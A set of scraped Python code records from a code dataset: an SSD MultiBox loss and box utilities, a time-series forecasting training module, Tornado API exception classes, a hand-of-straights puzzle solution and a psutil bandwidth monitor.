2:] / 10), # g_c_x, g_c_y\r\n torch.log(cxcy[:, 2:] / priors_cxcy[:, 2:]) * 5], 1) # g_w, g_h\r\n\r\n\r\ndef gcxgcy_to_cxcy(gcxgcy, priors_cxcy):\r\n \"\"\"\r\n Decode bounding box coordinates predicted by the model, since they are encoded in the form mentioned above.\r\n They are decoded into center-size coordinates.\r\n This is the inverse of the function above.\r\n :param gcxgcy: encoded bounding boxes, i.e. output of the model, a tensor of size (n_priors, 4)\r\n :param priors_cxcy: prior boxes with respect to which the encoding is defined, a tensor of size (n_priors, 4)\r\n :return: decoded bounding boxes in center-size form, a tensor of size (n_priors, 4)\r\n \"\"\"\r\n\r\n return torch.cat([gcxgcy[:, :2] * priors_cxcy[:, 2:] / 10 + priors_cxcy[:, :2], # c_x, c_y\r\n torch.exp(gcxgcy[:, 2:] / 5) * priors_cxcy[:, 2:]], 1) # w, h\r\n\r\n\r\n\r\ndef xy_to_cxcy(xy):\r\n \"\"\"\r\n Convert bounding boxes from boundary coordinates (x_min, y_min, x_max, y_max) to center-size coordinates (c_x, c_y, w, h).\r\n :param xy: bounding boxes in boundary coordinates, a tensor of size (n_boxes, 4)\r\n :return: bounding boxes in center-size coordinates, a tensor of size (n_boxes, 4)\r\n \"\"\"\r\n return torch.cat([(xy[:, 2:] + xy[:, :2]) / 2, # c_x, c_y\r\n xy[:, 2:] - xy[:, :2]], 1) # w, h\r\ndef find_intersection(set_1, set_2):\r\n \"\"\"\r\n Find the intersection of every box combination between two sets of boxes that are in boundary coordinates.\r\n :param set_1: set 1, a tensor of dimensions (n1, 4)\r\n :param set_2: set 2, a tensor of dimensions (n2, 4)\r\n :return: intersection of each of the boxes in set 1 with respect to each of the boxes in set 2, a tensor of dimensions (n1, n2)\r\n \"\"\"\r\n\r\n # PyTorch auto-broadcasts singleton dimensions\r\n # print ('intersection:',set_1.size(),set_2.size())\r\n lower_bounds = torch.max(set_1[:, :2].unsqueeze(1), set_2[:, :2].unsqueeze(0)) # (n1, n2, 2)\r\n\r\n upper_bounds = torch.min(set_1[:, 2:].unsqueeze(1), set_2[:, 2:].unsqueeze(0)) # (n1, n2, 2)\r\n\r\n intersection_dims = torch.clamp(upper_bounds - lower_bounds, min=0) # (n1, n2, 2)\r\n\r\n return intersection_dims[:, :, 0] * intersection_dims[:, :, 1] # (n1, n2)\r\ndef find_jaccard_overlap(set_1, set_2):\r\n \"\"\"\r\n Find the Jaccard Overlap (IoU) of every box combination between two sets of boxes that are in boundary coordinates.\r\n :param set_1: set 1, a tensor of dimensions (n1, 4)\r\n :param set_2: set 2, a tensor of dimensions (n2, 4)\r\n :return: Jaccard Overlap of each of the boxes in set 1 with respect to each of the boxes in set 2, a tensor of dimensions (n1, n2)\r\n \"\"\"\r\n\r\n # Find intersections\r\n\r\n\r\n set_2=set_2.to(DEVICE)\r\n # print ('set:\\n\\n', set_1, '\\n\\n', set_2)\r\n intersection = find_intersection(set_1, set_2) # (n1, n2)\r\n\r\n # Find areas of each box in both sets\r\n areas_set_1 = (set_1[:, 2] - set_1[:, 0]) * (set_1[:, 3] - set_1[:, 1]) # (n1)\r\n areas_set_2 = (set_2[:, 2] - set_2[:, 0]) * (set_2[:, 3] - set_2[:, 1]) # (n2)\r\n\r\n # Find the union\r\n # PyTorch auto-broadcasts singleton dimensions\r\n union = areas_set_1.unsqueeze(1) + areas_set_2.unsqueeze(0) - intersection # (n1, n2)\r\n\r\n return intersection / union # (n1, n2)\r\nclass MultiBoxLoss(nn.Module):\r\n \"\"\"\r\n The MultiBox loss, a loss function for object detection.\r\n This is a combination of:\r\n (1) a localization loss for the predicted locations of the boxes, and\r\n (2) a confidence loss for the predicted class scores.\r\n \"\"\"\r\n\r\n def __init__(self, priors_cxcy, threshold=0.5, neg_pos_ratio=3, alpha=1.):\r\n super(MultiBoxLoss, self).__init__()\r\n self.priors_cxcy = priors_cxcy\r\n self.priors_xy = cxcy_to_xy(priors_cxcy)\r\n self.threshold = threshold\r\n self.neg_pos_ratio = neg_pos_ratio\r\n self.alpha = alpha\r\n\r\n self.smooth_l1 = nn.L1Loss()\r\n self.cross_entropy = nn.CrossEntropyLoss(reduce=False)\r\n\r\n def forward(self, predicted_locs, predicted_scores, boxes, labels):\r\n \"\"\"\r\n Forward propagation.\r\n :param predicted_locs: predicted locations/boxes w.r.t the 8732 prior boxes, a tensor of dimensions (N, 8732, 4)\r\n :param predicted_scores: class scores for each of the encoded locations/boxes, a tensor of dimensions (N, 8732, n_classes)\r\n :param boxes: true object bounding boxes in boundary coordinates, a list of N tensors\r\n :param labels: true object labels, a list of N tensors\r\n :return: multibox loss, a scalar\r\n \"\"\"\r\n batch_size = predicted_locs.size(0)\r\n n_priors = self.priors_cxcy.size(0)\r\n n_classes = predicted_scores.size(2)\r\n # print('Batch Size',batch_size)\r\n assert n_priors == predicted_locs.size(1) == predicted_scores.size(1)\r\n\r\n true_locs = torch.zeros((batch_size, n_priors, 4), dtype=torch.float).to(DEVICE) # (N, 8732, 4)\r\n true_classes = torch.zeros((batch_size, n_priors), dtype=torch.long).to(DEVICE) # (N, 8732)\r\n\r\n # For each image\r\n for i in range(batch_size):\r\n # print('\\n\\nBatch :',i)\r\n\r\n n_objects = boxes[i].size(0)\r\n # print (boxes[i])\r\n # print ('have :',n_objects,' objects')\r\n\r\n overlap = find_jaccard_overlap(boxes[i],\r\n self.priors_xy) # (n_objects, 8732)\r\n # print ('overlap:',overlap.size())\r\n\r\n # For each prior, find the object that has the maximum overlap\r\n overlap_for_each_prior, object_for_each_prior = overlap.max(dim=0) # (8732)\r\n # print (object_for_each_prior,object_for_each_prior)\r\n\r\n # We don't want a situation where an object is not represented in our positive (non-background) priors -\r\n # 1. An object might not be the best object for all priors, and is therefore not in object_for_each_prior.\r\n # 2. All priors with the object may be assigned as background based on the threshold (0.5).\r\n\r\n # To remedy this -\r\n # First, find the prior that has the maximum overlap for each object.\r\n _, prior_for_each_object = overlap.max(dim=1) # (N_o)\r\n\r\n # Then, assign each object to the corresponding maximum-overlap-prior. (This fixes 1.)\r\n object_for_each_prior[prior_for_each_object] = torch.LongTensor(range(n_objects)).to(DEVICE)\r\n\r\n # To ensure these priors qualify, artificially give them an overlap of greater than 0.5. (This fixes 2.)\r\n overlap_for_each_prior[prior_for_each_object] = 1.\r\n\r\n # Labels for each prior\r\n label_for_each_prior = labels[i][object_for_each_prior] # (8732)\r\n # Set priors whose overlaps with objects are less than the threshold to be background (no object)\r\n label_for_each_prior[overlap_for_each_prior < self.threshold] = 0 # (8732)\r\n\r\n # Store\r\n true_classes[i] = label_for_each_prior\r\n\r\n # Encode center-size object coordinates into the form we regressed predicted boxes to\r\n true_locs[i] = cxcy_to_gcxgcy(xy_to_cxcy(boxes[i][object_for_each_prior]), self.priors_cxcy) # (8732, 4)\r\n\r\n # Identify priors that are positive (object/non-background)\r\n positive_priors = true_classes != 0 # (N, 8732)\r\n\r\n # LOCALIZATION LOSS\r\n\r\n # Localization loss is computed only over positive (non-background) priors\r\n loc_loss = self.smooth_l1(predicted_locs[positive_priors], true_locs[positive_priors]) # (), scalar\r\n # print ('\\n\\nlocal loss',loc_loss)\r\n\r\n # Note: indexing with a torch.uint8 (byte) tensor flattens the tensor when indexing is across multiple dimensions (N & 8732)\r\n # So, if predicted_locs has the shape (N, 8732, 4), predicted_locs[positive_priors] will have (total positives, 4)\r\n\r\n # CONFIDENCE LOSS\r\n\r\n # Confidence loss is computed over positive priors and the most difficult (hardest) negative priors in each image\r\n # That is, FOR EACH IMAGE,\r\n # we will take the hardest (neg_pos_ratio * n_positives) negative priors, i.e where there is maximum loss\r\n # This is called Hard Negative Mining - it concentrates on hardest negatives in each image, and also minimizes pos/neg imbalance\r\n\r\n # Number of positive and hard-negative priors per image\r\n n_positives = positive_priors.sum(dim=1) # (N)\r\n n_hard_negatives = self.neg_pos_ratio * n_positives # (N)\r\n\r\n # First, find the loss for all priors\r\n conf_loss_all = self.cross_entropy(predicted_scores.view(-1, n_classes), true_classes.view(-1)) # (N * 8732)\r\n conf_loss_all = conf_loss_all.view(batch_size, n_priors) # (N, 8732)\r\n\r\n # We already know which priors are positive\r\n conf_loss_pos = conf_loss_all[positive_priors] # (sum(n_positives))\r\n # print('\\n\\nconfidence loss',conf_loss_pos)\r\n\r\n # Next, find which priors are hard-negative\r\n # To do this, sort ONLY negative priors in each image in order of decreasing loss and take top n_hard_negatives\r\n conf_loss_neg = conf_loss_all.clone() # (N, 8732)\r\n conf_loss_neg[positive_priors] = 0. # (N, 8732), positive priors are ignored (never in top n_hard_negatives)\r\n conf_loss_neg, _ = conf_loss_neg.sort(dim=1, descending=True) # (N, 8732), sorted by decreasing hardness\r\n hardness_ranks = torch.LongTensor(range(n_priors)).unsqueeze(0).expand_as(conf_loss_neg).to(DEVICE) # (N, 8732)\r\n\r\n hard_negatives = hardness_ranks < n_hard_negatives.unsqueeze(1) # (N, 8732)\r\n\r\n conf_loss_hard_neg = conf_loss_neg[hard_negatives] # (sum(n_hard_negatives))\r\n # print ('hard',conf_loss_neg)\r\n\r\n # As in the paper, averaged over positive priors only, although computed over both positive and hard-negative priors\r\n conf_loss = (conf_loss_hard_neg.sum() + conf_loss_pos.sum()) / n_positives.sum().float() # (), scalar\r\n # print ('total:',conf_loss + self.alpha * loc_loss)\r\n # exit(0)\r\n # TOTAL LOSS\r\n\r\n return conf_loss , loc_loss\r\n\r\n\r\n","sub_path":"Tools/MultiBox.py","file_name":"MultiBox.py","file_ext":"py","file_size_in_byte":12042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"431843131","text":"#! /usr/bin/env python\r\n\r\n\"\"\"\r\n@author: Ajay Arunachalam\r\nCreated on: 25/10/2021\r\nTraining the forecasting and Nowcasting model\r\nVersion: 0.0.5\r\n\"\"\"\r\n\r\n\r\nimport torch\r\nfrom torch.utils.data import TensorDataset, DataLoader\r\nimport torch.optim as optim\r\nfrom .utility import *\r\nfrom .dpp import *\r\n#from .forecast_ml import *\r\nfrom .forecast_ml_extension import *\r\nfrom .denoise import *\r\nfrom .similarity import *\r\nfrom .gnn_layer import *\r\nfrom .stats import *\r\n\r\nclass Forecast:\r\n\r\n\tts = globals()\r\n\tfc = globals()\r\n\r\n\tselect_model = globals() # Possible values ['rnn','lstm', 'gru', 'em', etc]\r\n\tselect_user_path = globals() # Provide user_path './forecast_folder/'\r\n\tselect_scaler = globals() # Possible values ['minmax','standard','maxabs','robust']\r\n\tforecast_window = globals() # no. of timesteps/points to be used for the forecasting model and nowcasting period\r\n\r\n\thidden_dim = globals()\r\n\tlayer_dim = globals()\r\n\tbatch_size = globals()\r\n\tdropout = globals()\r\n\tn_epochs = globals()\r\n\tlearning_rate = globals()\r\n\tweight_decay = globals()\r\n\r\n\r\n\tdef set_variable(**kwargs):\r\n\t\tfor key, value in kwargs.items():\r\n\t\t\tprint(\"{0} = {1}\" .format(key,value))\r\n\r\n\t\tts = list(kwargs.values())[0]\r\n\t\tfc = list(kwargs.values())[1]\r\n\r\n\t\treturn ts, fc\r\n\r\n\tassert ts == ts\r\n\tassert fc == fc\r\n\r\n\tdef set_model_config(**kwargs):\r\n\r\n\t\tfor key, value in kwargs.items():\r\n\t\t\tprint(\"{0} = {1}\" .format(key,value))\r\n\r\n\t\tselect_model = list(kwargs.values())[0]\r\n\t\tselect_user_path = list(kwargs.values())[1]\r\n\t\tselect_scaler = list(kwargs.values())[2]\r\n\t\tforecast_window = list(kwargs.values())[3]\r\n\r\n\t\treturn select_model, select_user_path, select_scaler, forecast_window\r\n\r\n\tassert select_model == select_model\r\n\tassert select_user_path == select_user_path\r\n\tassert select_scaler == select_scaler\r\n\tassert forecast_window == forecast_window\r\n\r\n\tdef hyperparameter_config(**kwargs):\r\n\r\n\t\tfor key, value in kwargs.items():\r\n\t\t\tprint(\"{0} = {1}\" .format(key,value))\r\n\r\n\t\thidden_dim = list(kwargs.values())[0]\r\n\t\tlayer_dim = list(kwargs.values())[1]\r\n\t\tbatch_size = list(kwargs.values())[2]\r\n\t\tdropout = list(kwargs.values())[3]\r\n\t\tn_epochs = list(kwargs.values())[4]\r\n\t\tlearning_rate = list(kwargs.values())[5] \r\n\t\tweight_decay = list(kwargs.values())[6]\r\n\r\n\t\treturn hidden_dim, layer_dim, batch_size, dropout, n_epochs, learning_rate, weight_decay\r\n\r\n\tassert hidden_dim == hidden_dim\r\n\tassert layer_dim == layer_dim\r\n\tassert batch_size == batch_size\r\n\tassert dropout == dropout\r\n\tassert n_epochs == n_epochs\r\n\tassert learning_rate == learning_rate\r\n\tassert weight_decay == weight_decay\r\n\r\n\tdef forecast(df, ts, fc, opt, scaler, period:int, fq:str, select_scaler=select_scaler, ):\r\n\r\n\t\tdigit = ''.join(filter(str.isdigit, str(fq)))\r\n\t\tinterval = int(digit)\r\n\r\n\t\tff_df = Helper.make_future_df(df, ts, period, fq)\r\n\r\n\t\tprint(f'Forecast period dataframe: {ff_df.index}')\r\n\r\n\t\t#print(f'Forecast period dataframe: {ff_df.index.hour}')\r\n\r\n\t\t#cols=['hour','month','day','day_of_week','week_of_year']\r\n\r\n\t\tfrequency = ''.join([i for i in fq if not i.isdigit()])\r\n\r\n\t\t#if any(str(frequency).startswith(tuple(l)) for l in ['h', 'H', 's', 'S', 'min', 'MIN', 'n', 'N']) and interval is not None:\r\n\t\tif frequency in ['h', 'H', 's', 'S', 'min', 'MIN', 'n', 'N'] and interval is not None:\r\n\r\n\r\n\t\t#if str(fq)=='h' or str(fq)=='H' or str(fq) == 's' or str(fq) == 'S' or str(fq) == 'min' or str(fq) == 'MIN' or str(fq) == 'n' or str(fq) == 'N' or interval is not None: # hourly(h:m:s)\r\n\r\n\t\t\tff_full_features = Features.generate_date_time_features_hour(ff_df, ['hour','month','day','day_of_week','week_of_year'])\r\n\t\t\tff_full_features = Features.generate_cyclic_features(ff_full_features, 'hour', 24, 0)\r\n\t\t\tff_full_features = Features.generate_cyclic_features(ff_full_features, 'day_of_week', 7, 0)\r\n\t\t\tff_full_features = Features.generate_cyclic_features(ff_full_features, 'month', 12, 1)\r\n\t\t\tff_full_features = Features.generate_cyclic_features(ff_full_features, 'week_of_year', 52, 0)\r\n\r\n\t\t\tff_full_features = Features.generate_other_related_features(df=ff_full_features)\r\n\r\n\t\telif frequency in ['d', 'D', 'w', 'W', 'm', 'M', 'q', 'Q', 'QS', '2q', '2Q', 'HA', 'Y', 'y', 'A'] and interval is not None:\r\n\r\n\t\t#elif any(str(frequency).startswith(tuple(l)) for l in ['d', 'D', 'w', 'W', 'm', 'M', 'q', 'Q', 'QS', '2q', '2Q', 'HA', 'Y', 'y', 'A']) and interval is not None:\r\n\r\n\t\t#elif str(fq) == 'd' or str(fq) == 'D' or str(fq) == 'w' or str(fq) == 'W' or str(fq)=='m' or str(fq)=='M' or str(fq) == 'q' or str(fq) == 'Q' or str(fq) == 'QS' or str(fq) == '2q' or str(fq) == '2Q' or str(fq) == 'HA' or str(fq) == 'y' or str(fq) == 'Y' or str(fq) == 'A' or interval is not None: # Yearly(Daily, weekly, monthly, quater, semi-annual, annual)\r\n\r\n\t\t\tff_full_features = Features.generate_date_time_features_month(ff_df, ['month','day_of_week','week_of_year'])\r\n\t\t\tff_full_features = Features.generate_cyclic_features(ff_full_features, 'day_of_week', 7, 0)\r\n\t\t\tff_full_features = Features.generate_cyclic_features(ff_full_features, 'month', 12, 1)\r\n\t\t\tff_full_features = Features.generate_cyclic_features(ff_full_features, 'week_of_year', 52, 0)\r\n\r\n\t\t\tff_full_features = Features.generate_other_related_features(df=ff_full_features)\r\n\r\n\r\n\t\tX = ff_full_features\r\n\t\t\r\n\t\tinput_dim = len(X.columns)\r\n\t\t#X, y = Helper.predictor_outcome_split(df, target_col)\r\n\t\tX_arr = Helper.apply_transformation_forecast(X, select_scaler)\r\n\r\n\t\tunseen_loader = Helper.prepare_pytorch_data_forecast_df(X_arr)\r\n\r\n\t\tpredictions = opt.predict(\r\n\t\t\tunseen_loader,\r\n\t\t\tbatch_size=1,\r\n\t\t\tn_features=input_dim\r\n\t\t)\r\n\r\n\t\tff_result = Helper.forecast_window_inference(predictions, ff_df, scaler)\r\n\t\tprint(f'Forecast period predictions: {ff_result}')\r\n\r\n\t\tHelper.plot_forecast(ff_result, fc)\r\n\r\n\t\tforecasted_data = Helper.save_final_data(df, ff_result, ts, fc)\r\n\t\tff_full_features_ = pd.concat([ff_result, ff_full_features], axis=1)\r\n\t\treturn forecasted_data, ff_full_features, ff_full_features_\r\n\r\n\r\n\tdef train(df, target_col, split_ratio:float, select_model=select_model, select_scaler=select_scaler, forecast_window=forecast_window, hidden_dim=hidden_dim, layer_dim=layer_dim, batch_size=batch_size,dropout=dropout, n_epochs=n_epochs, learning_rate=learning_rate, weight_decay=weight_decay):\r\n\t\tfrom torch.utils.data import TensorDataset, DataLoader\r\n\r\n\t\tX_train, X_val, X_test, y_train, y_val, y_test = Helper.train_val_test_split(df, target_col, split_ratio) #'value', 0.2\r\n\t\tX_train_arr, X_val_arr, X_test_arr, y_train_arr, y_val_arr, y_test_arr, scaler = Helper.apply_transformation(X_train, X_val, X_test, y_train, y_val, y_test, select_scaler)\r\n\t\t\r\n\t\ttrain_loader, val_loader, test_loader, test_loader_one = Helper.prepare_pytorch_data(X_train_arr, X_val_arr, X_test_arr, y_train_arr, y_val_arr, y_test_arr, batch_size=batch_size)\r\n\t\t'''\r\n\r\n\t\tscaler = Helper.get_scaler(str(select_scaler)) #'minmax'\r\n\t\tX_train_arr = scaler.fit_transform(X_train)\r\n\t\tX_val_arr = scaler.transform(X_val)\r\n\t\tX_test_arr = scaler.transform(X_test)\r\n\r\n\t\ty_train_arr = scaler.fit_transform(y_train)\r\n\t\ty_val_arr = scaler.transform(y_val)\r\n\t\ty_test_arr = scaler.transform(y_test)\r\n\r\n\t\t#batch_size = 64\r\n\r\n\t\ttrain_features = torch.Tensor(X_train_arr)\r\n\t\ttrain_targets = torch.Tensor(y_train_arr)\r\n\t\tval_features = torch.Tensor(X_val_arr)\r\n\t\tval_targets = torch.Tensor(y_val_arr)\r\n\t\ttest_features = torch.Tensor(X_test_arr)\r\n\t\ttest_targets = torch.Tensor(y_test_arr)\r\n\r\n\t\ttrain = TensorDataset(train_features, train_targets)\r\n\t\tval = TensorDataset(val_features, val_targets)\r\n\t\ttest = TensorDataset(test_features, test_targets)\r\n\r\n\t\ttrain_loader = DataLoader(train, batch_size=batch_size, shuffle=False, drop_last=True)\r\n\t\tval_loader = DataLoader(val, batch_size=batch_size, shuffle=False, drop_last=True)\r\n\t\ttest_loader = DataLoader(test, batch_size=batch_size, shuffle=False, drop_last=True)\r\n\t\ttest_loader_one = DataLoader(test, batch_size=1, shuffle=False, drop_last=True)\r\n\t\t'''\r\n\r\n\t\tinput_dim = len(X_train.columns)\r\n\t\t# output_dim = 1\r\n\t\t# hidden_dim = 64\r\n\t\t# layer_dim = 3\r\n\t\t# batch_size = 64\r\n\t\t# dropout = 0.2\r\n\t\t# n_epochs = 5\r\n\t\t# learning_rate = 1e-3\r\n\t\t# weight_decay = 1e-6\r\n\r\n\t\toutput_dim = 1\r\n\t\thidden_dim = hidden_dim\r\n\t\tlayer_dim = layer_dim\r\n\t\tbatch_size = batch_size\r\n\t\tdropout = dropout\r\n\t\tn_epochs = n_epochs\r\n\t\tlearning_rate = learning_rate\r\n\t\tweight_decay = weight_decay\r\n\r\n\r\n\t\tmodel_params = {'input_dim': input_dim,\r\n\t\t\t\t\t\t'hidden_dim' : hidden_dim,\r\n\t\t\t\t\t\t'layer_dim' : layer_dim,\r\n\t\t\t\t\t\t'output_dim' : output_dim,\r\n\t\t\t\t\t\t'dropout_prob' : dropout}\r\n\r\n\t\tmodel = Helper.get_model(str(select_model), model_params) # 'lstm'\r\n\r\n\t\tloss_fn = nn.MSELoss(reduction=\"mean\")\r\n\t\toptimizer = optim.Adam(model.parameters(), lr=learning_rate, weight_decay=weight_decay)\r\n\t\tdevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\r\n\t\tprint(f\"{device}\" \" is available.\")\r\n\r\n\r\n\t\topt = Optimization(device=device, model=model, loss_fn=loss_fn, optimizer=optimizer)\r\n\t\topt.train(train_loader, val_loader, batch_size=batch_size, n_epochs=n_epochs, n_features=input_dim)\r\n\t\topt.plot_losses()\r\n\r\n\t\tpredictions, values = opt.evaluate(\r\n\t\t\ttest_loader_one,\r\n\t\t\tbatch_size=1,\r\n\t\t\tn_features=input_dim\r\n\t\t)\r\n\r\n\t\t#scaler = Helper.get_scaler(select_scaler)\r\n\r\n\t\tdf_result = Helper.format_predictions(predictions, values, X_test, scaler)\r\n\t\tprint(f'Forecast testset predictions: {df_result}')\r\n\r\n\t\tresult_metrics, key_metrics = Helper.calculate_metrics(df_result)\r\n\t\tprint(f'Model Evaluations: {result_metrics}')\r\n\r\n\t\tprint(f'Model Evaluations: {key_metrics}')\r\n\r\n\t\tHelper.plot_metrics(result_metrics, key_metrics)\r\n\r\n\t\tdf_baseline = Helper.build_baseline_model(df, split_ratio, target_col) #df_feature, 0.2, 'value'\r\n\t\tbaseline_metrics = Helper.calculate_metrics(df_baseline)\r\n\r\n\t\tHelper.plot_predictions(df_result, df_baseline)\r\n\r\n\t\treturn opt, scaler\r\n\r\n\r\n\t\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"deep_xf/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"124975210","text":"from tornado.web import HTTPError\n\nclass API_exception(HTTPError):\n \n def __init__(self, status_code, code, message, errors=None, extra=None):\n '''\n :param status_code: int\n HTTP status code e.g. 400\n :param code: int\n internal error code\n :param message: str\n :param errors: list of error\n :param extra: object\n Extra information for the exception.\n '''\n HTTPError.__init__(self, status_code, message)\n self.status_code = status_code\n self.code = code\n self.errors = errors\n self.message = message\n self.extra = extra\n\nclass Not_found(API_exception):\n\n def __init__(self, message=None):\n API_exception.__init__(self,\n status_code=404,\n code=500, \n message=message or 'the requested item was not found',\n errors=None,\n )\n\nclass Forbidden(API_exception):\n\n def __init__(self, message=None):\n API_exception.__init__(self,\n status_code=403,\n code=501, \n message=message or 'forbidden',\n errors=None,\n )\n\nclass Wrong_email_or_password_exception(API_exception):\n\n def __init__(self):\n API_exception.__init__(self,\n status_code=401,\n code=1000, \n message='wrong email and/or password',\n errors=None,\n )\n\nclass Validation_exception(API_exception):\n\n def __init__(self, errors):\n API_exception.__init__( \n self,\n status_code=400,\n code=1001,\n message='one or more fields failed validation',\n errors=errors,\n )\n\nclass Parameter_must_not_be_set_exception(API_exception):\n\n def __init__(self, message):\n API_exception.__init__(\n self,\n status_code=400,\n code=1002,\n message=message,\n )\n\nclass Parameter_missing_exception(API_exception):\n\n def __init__(self, message):\n API_exception.__init__(\n self,\n status_code=400,\n code=1003,\n message=message,\n )\n\nclass OAuth_unsuported_grant_type_exception(API_exception):\n\n def __init__(self, grant_type):\n API_exception.__init__(\n self,\n status_code=400,\n code=1006,\n message='unsupported grant_type \"{}\"'.format(grant_type),\n extra={\n 'grant_type': grant_type,\n }\n )\n\nclass OAuth_unknown_client_id_exception(API_exception):\n\n def __init__(self, client_id):\n API_exception.__init__(\n self,\n status_code=400,\n code=1007,\n message='unknown client_id: {}'.format(client_id),\n )\n\nclass OAuth_unauthorized_grant_type_level_request_exception(API_exception):\n\n def __init__(self, required_level, app_level):\n API_exception.__init__(\n self,\n status_code=403,\n code=1008,\n message='this app does not have authorization to make this type of grant type request, required level: {}, your app\\'s level: {}'.format(required_level, app_level),\n extra={\n 'app_level': app_level,\n 'required_level': required_level,\n }\n )\n\nclass Not_signed_in_exception(API_exception):\n\n def __init__(self):\n API_exception.__init__(self,\n status_code=401,\n code=1009, \n message='not signed in',\n )\n\nclass Restricted_access_exception(API_exception):\n\n def __init__(self, user_level, required_level):\n API_exception.__init__(self,\n status_code=403,\n code=1010, \n message='your access level: {}, is not high enough for the required level: {}'.format(user_level, required_level),\n extra={\n 'required_level': required_level,\n 'user_level': user_level,\n }\n )\n\nclass User_not_following_show(API_exception):\n\n def __init__(self):\n API_exception.__init__(self,\n status_code=400,\n code=1200, \n message='you do not follow this show',\n )\n\nclass User_has_not_watched_this_episode(API_exception):\n\n def __init__(self):\n API_exception.__init__(self,\n status_code=400,\n code=1300, \n message='you have not watched this episode',\n )\n\nclass Show_unknown(API_exception):\n\n def __init__(self):\n API_exception.__init__(\n self,\n status_code=400,\n code=1400,\n message='unknown show',\n )\n\nclass Show_external_field_must_be_specified_exception(API_exception):\n\n def __init__(self):\n API_exception.__init__(\n self,\n status_code=400,\n code=1401,\n message='the external field must be specified before updating the index field',\n )\n\nclass Show_index_type_must_be_in_external_field_exception(API_exception):\n\n def __init__(self, external_type):\n API_exception.__init__(\n self,\n status_code=400,\n code=1402,\n message='Index type: \"{}\" must first be specified in the external field before adding it to the index field'.format(external_type),\n extra={\n 'external_type': external_type,\n }\n )\n\nclass Show_external_duplicated(API_exception):\n\n def __init__(self, external_title, external_id, show):\n API_exception.__init__(\n self,\n status_code=400,\n code=1403,\n message='A show with the external name and id does already exist'.format(external_title, external_id),\n extra={\n 'show': show,\n 'external_title': external_title,\n 'external_id': external_id,\n }\n )\n\nclass User_unknown(API_exception):\n\n def __init__(self):\n API_exception.__init__(\n self,\n status_code=400,\n code=1500,\n message='unknown user',\n )\n\n\nclass Episode_unknown(API_exception):\n\n def __init__(self):\n API_exception.__init__(\n self,\n status_code=400,\n code=1600,\n message='unknown episode',\n )\n\nclass Elasticsearch_exception(API_exception):\n\n def __init__(self, status_code, extra):\n API_exception.__init__(\n self,\n status_code=status_code,\n code=1700,\n message='search error',\n extra=extra\n ) \n\nclass Sort_not_allowed(API_exception):\n def __init__(self, sort):\n API_exception.__init__(self,\n status_code=400,\n code=1800,\n message='Sort by: \"{}\" is not allowed'.format(sort),\n extra=[sort],\n )\n\nclass Append_fields_not_allowed(API_exception):\n def __init__(self, fields):\n API_exception.__init__(self,\n status_code=400,\n code=1900,\n message='Append fields: \"{}\" are not allowed'.format(','.join(fields)),\n extra=fields,\n )\n\nclass Image_external_duplicate(API_exception): \n def __init__(self, duplicate_image):\n API_exception.__init__(self,\n status_code=400,\n code=2000,\n message='An image with the external name and id does already exist',\n extra=duplicate_image,\n )\n\nclass Image_unknown(API_exception):\n def __init__(self):\n API_exception.__init__(self,\n status_code=400,\n code=2001,\n message='unknown image',\n )\n\nclass Image_set_wrong_type(API_exception):\n\n def __init__(self, image_type, needs_image_type):\n API_exception.__init__(self,\n status_code=400,\n code=2002,\n message='the image could not be set because of a wrong type',\n extra={\n 'is': image_type,\n 'needs': needs_image_type if isinstance(needs, list) \\\n else [needs_image_type],\n }\n )\n\nclass Image_no_data(API_exception):\n def __init__(self):\n API_exception.__init__(self,\n status_code=400,\n code=2003,\n message='No image data assigned. Please upload an image.',\n ) \n \nclass File_upload_no_files(API_exception):\n\n def __init__(self):\n API_exception.__init__(self,\n status_code=400,\n code=2100,\n message='zero files was uploaded',\n )\n\nclass File_upload_unrecognized_image(API_exception):\n\n def __init__(self):\n API_exception.__init__(self,\n status_code=400,\n code=2101,\n message='unrecognized image type: please upload a JPG or PNG image',\n )","sub_path":"src/seplis/api/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":8819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"646243558","text":"\"\"\"\nSort numbers and always pick up the first W elements. Need to delete used elements in case there are duplicates.\n\"\"\"\nclass Solution(object):\n def isNStraightHand(self, hand, W):\n \"\"\"\n :type hand: List[int]\n :type W: int\n :rtype: bool\n \"\"\"\n length = len(hand)\n if length % W != 0: return False\n hand.sort()\n stack = []\n i = 0\n count = 0\n while i < len(hand):\n if (not stack) or (len(stack) < W and stack[-1] == hand[i] - 1):\n stack.append(hand[i])\n hand.pop(i)\n i -= 1\n i += 1\n if len(stack) == W:\n stack = []\n count += 1\n i = 0\n if count == length / W:\n return True\n return False\n","sub_path":"solution/python/846.py","file_name":"846.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"631084711","text":"''' import time\nimport psutil\n\ndef main():\n old_value = 0 \n\n while True:\n new_value = psutil.net_io_counters().bytes_sent + psutil.net_io_counters().bytes_recv\n\n if old_value:\n send_stat(new_value - old_value)\n\n old_value = new_value\n\n time.sleep(1)\n\ndef convert_to_gbit(value):\n return value/1024./1024.*8\n\ndef send_stat(value):\n print (\"%0.3f\" % convert_to_gbit(value)+\"MB/s\")\n\nmain() '''\n\n\nimport psutil as ps\nimport time\n\ndef main():\n old_value_sent = 0\n old_value_recieve=0 \n\n while True:\n new_value_sent = ps.net_io_counters().bytes_sent\n new_value_recieve = ps.net_io_counters().bytes_recv\n if old_value_sent:\n print(\"SENT:\",end=\"\")\n send_stat(new_value_sent-old_value_sent)\n if old_value_recieve:\n print(\"RECIEVED:\",end=\"\")\n send_stat1(new_value_recieve-old_value_recieve)\n old_value_sent = new_value_sent\n old_value_recieve = new_value_recieve\n time.sleep(1)\ndef convert_to_gbit(value):\n return value/1024./1024.*8\n\ndef send_stat(value):\n print(\"%0.3f\" % convert_to_gbit(value)+\"MB/s\",end=\" \")\ndef send_stat1(value):\n print(\"%0.3f\" % convert_to_gbit(value)+\"MB/s\")\n\nmain()","sub_path":"Bandwidth_monitor.py","file_name":"Bandwidth_monitor.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} 